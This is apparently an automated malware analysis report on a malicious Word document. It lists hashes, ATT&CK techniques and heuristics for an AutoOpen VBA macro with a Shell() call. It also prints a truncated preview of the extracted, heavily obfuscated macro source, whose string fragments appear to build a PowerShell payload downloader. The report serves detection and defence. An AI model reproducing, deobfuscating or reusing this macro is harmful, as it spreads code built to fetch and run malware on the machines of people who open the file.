Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 44949d1ad979f4c3…

MALICIOUS

Office (OLE)

137.5 KB Created: 2018-02-16 23:32:00 Authoring application: Microsoft Office Word First seen: 2018-02-19
MD5: 0ca28c74fdae19316b3e9a33e9a6b63a SHA-1: a3ba4d1420834d4e4aaef69e850bbcc6f38782f8 SHA-256: 44949d1ad979f4c3eec6cf08eb423e41112a5daecc929f12f78a382310274eed
182 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains a VBA macro with an AutoOpen function, which is a common technique for executing malicious code upon opening the document. The macro utilizes the Shell() function, indicating an attempt to execute external commands or download additional payloads. The obfuscated script attempts to construct a URL, likely for downloading a second-stage payload, which is a critical indicator of malicious intent.

Heuristics 6

  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://njdeba+eba9+jdeba+eba9athajd9+jzdEZVYkhuvjCVcjivnwKfSZSdmFPFA In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 38170 bytes
SHA-256: fa9e36d42ece0467ec02cc33ceba67b43533948dc15d0c4f672b3044c27d204a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "YzPluwJ"
Function KYIOkDNMF()
On Error Resume Next
fObAADjfAIB = 4619755 + Atn(jSmMHTq) / YmXjdv - Sgn(ULsGF * Log(SIufkFcq)) / (7822565 - TDOmWRDNGIjBw * ftVMlZsf - tNJsjXNO)
ShAuniwIX = 3657424 + Atn(rEfPJiDIizw) / RMbAqkPFPCn - Sgn(UYMYWpttQREO * Log(iLhhRNfVLvzRjj)) / (5490090 - NUpQvukSilpGDR * HMAMY - XwoIOJdPHqJ)
WArmfwowrHC = 3212824 + Atn(DwOwEjbODfYZSt) / pEfUDPpWAIjkHD - Sgn(vjpIODsOw * Log(zUUSQivQhZ)) / (388890 - oNfNZNq * zTLfksjKi - wqirGvVEkZkUZ)
SQjdMwKBw = (iqOWQNFlkl) + yHBjksbJKSUgsssd("aij+jdeba+eba9ADjd9eba+eb'+'a+jd9CpNj+pNjX){tryjd9+jd9{OBjd9+jd9XTYjd9+jd9YU.Yh2DjdpNj+pNj9+jd9'+'ojd9+jd9uUebWnluUeba+ebaebOadFIuUjd9pNj'+'hoHuiviK", 4, 137)
XRbBpG = 5314522 + Atn(GjsVdQmitiKzAH) / dNRSJOcnjWL - Sgn(zjjAKJtVtI * Log(BHmzja)) / (5904850 - XrDIdLsSjiw * wSqmvKi - qHloUEQLWOsNBo)
nrAGzsm = 7627665 + Atn(waFoRqKqzwJ) / QAEYsirQGPn - Sgn(vjvUmjKKi * Log(qUFtiz)) / (9405591 - qYuhvWKTVWzXc * mjtkvpEOlzD - KjTwwr)
MnJCYv = 3768485 + Atn(YPiNlZJ) / OoNHfIhY - Sgn(zEHqcmvimLazWZ * Log(DQJXCj)) / (9873929 - flAzmwdBC * wznMVvdijzNjTr - IEOzKWT)
PCMKmYBZq = (dIohYwllqdL) + yHBjksbJKSUgsssd("XGIHdZdJazUWEWrCVUGST.( $VErBOsEprwzSihfUno", 22, 13)
Fizoj = 2752254 + Atn(sZfBE) / QToZApDKPTnq - Sgn(TmQCWzb * Log(nTFfqvHjfs)) / (4794606 - GftEuwK * mCpvn - uQbWIEdFcA)
uXBaYIVoU = 6825048 + Atn(KuwijaOcGosLH) / mXsliJrKA - Sgn(EIjUjACtVAlQH * Log(SOhKYG)) / (4608914 - PjRGMrVa * zuFZa - ttFlzqHoWQlSP)
jDdMb = 5436786 + Atn(mtTotADdnLX) / zlWBirXnRSVYZH - Sgn(uqbYGzVNAmkhqq * Log(RZbuJCA)) / (2753011 - bsoOT * uOmFJnMnR - bXVPzKhzCAvzfz)
PUkhC = (vNtTzAHwRIjdr) + yHBjksbJKSUgsssd("wVMcDOd9Mjd9+jd9d+0Mdt0Mdjd9+jd9) ranjeba+mcoZhJJZKbzakCFJOHcp", 7, 36)
rGPoMTDVu = 8388987 + Atn(SdzjoMO) / nqDoUdt - Sgn(bPwQavImh * Log(NPcTjCR)) / (8951496 - wvmGXSPSwG * NAlbdB - blXUKBZ)
lUUfUVUF = 9817613 + Atn(jTJAXaCvboIZzK) / MfZBMiApfo - Sgn(IEdklhYSjzmGl * Log(wpApsodavIic)) / (4587438 - VidiLhRwRrDb * iidZZ - NOoAAmzMiIVG)
sjuijoFQi = 1713475 + Atn(mzwVIu) / WAYJl - Sgn(owwRiEnJ * Log(jhcrLVipv)) / (7077949 - SNhfHRfkrNPrP * LNlqnBVzO - QsRiinLc)
LcpvZOoD = (bFmKziiizFQK) + yHBjksbJKSUgsssd("llOWksEferEnCe.tOstriNg()[1,3]+'x'-joiN'') ((('.'+' ( TdmpsH'+'oFjfiidjMk", 7, 58)
dNGXiGwliNT = 1585240 + Atn(ZSzQPOzwCEC) / TYXkwVjWbShE - Sgn(afwiaqNUoRfbAB * Log(QdzOHdWpzPLbSl)) / (1502320 - luRojD * cNpTiGr - vTjGwS)
nZnTYa = 3689465 + Atn(VEpwSOOuijKuhj) / NMPXASK - Sgn(iGGPHifJoSzvk * Log(FvNzukzwzbMGW)) / (8677362 - vTiLMGsLzGM * XVbjn - THTJAYaulI)
iqslUzwXGqU = 5936121 + Atn(BLmat) / TjXmNjOshjabVs - Sgn(dClPlSGlS * Log(jjwFARzcc)) / (3028236 - Fhuju * qtUKmm - XJAKHhNwFR)
HCVIQfHlwkM = (KRpNVAHzw) + yHBjksbJKSUgsssd("KiTwn+pNj+jd'+'9ejd9+jd9'+'bjd9+jd9leYh2jd9+jd9(Ojd9+jd9BpNj+pNjXTasjd9+jd9f'+'c.jd9+jd9Yhjd9+jd92ToSjd9+jde'+'ba+ebaBPzlvjkYj", 6, 112)
qbjNCIVZiQ = 8974989 + Atn(irQmUuCG) / PQjdWJdrLsJJzn - Sgn(iQXzGH * Log(hIwDow)) / (8144278 - zaOYGbzNnG * HwDlJjE - IEWFAs)
TROiJlzCYb = 1458183 + Atn(YiSVfAhtiua) / hiCkrrAJdWo - Sgn(kqiacVOf * Log(sbjUkjGRKCPIXa)) / (5688266 - lNIsw * BpzkoS - RNfuip)
ItAYa = 596051 + Atn(PGIurTUZ) / MQEYqHG - Sgn(AmatXzvnKsoj * Log(plaiWHz)) / (9624606 - mjQlYX * iaGZGhC - ZsGNGjafpw)
lKFGwbs = (VrjrJPswKw) + yHBjksbJKSUgsssd("jhYEmQdcMvrBlXr9+jeba+ebad9/jKBQnVC", 16, 16)
pupPOOX = 5647804 + Atn(mraMB) / nAsksGGTRo - Sgn(iwHfp * Log(EIwfrQwjjqz)) / (3805392 - SosBzafpjLcqpS * PMVVwLWDEvw - vDMPGzTVNqvK)
qTsYofpAoL = 858622 + Atn(qUzUoB) / ORUVdXmwkoFApj - Sgn(XvVrWwUYRLRm * Log(BGkHunjm)) / (8459226 - dcjZcBpJOaFzC * zfBusCJMkSviEw - CCwfAs)
cuQIEwlDiX = 2840796 + Atn(XrXbCCMPEElJP) / muolRsOdwzqD - Sgn(XGRBFip * Log(DVbHJYDrZS)) / (7922125 - QQEqPbWctsZlw * oImCfaaIiZNdH - KmYiBNwG)
dNnbaDlmCQk = (clbXZcRiKGHjzJ) + yHBjksbJKSUgsssd("Aaqw9truUejd9+jd9biujd9+jd9Uebeb
... (truncated)

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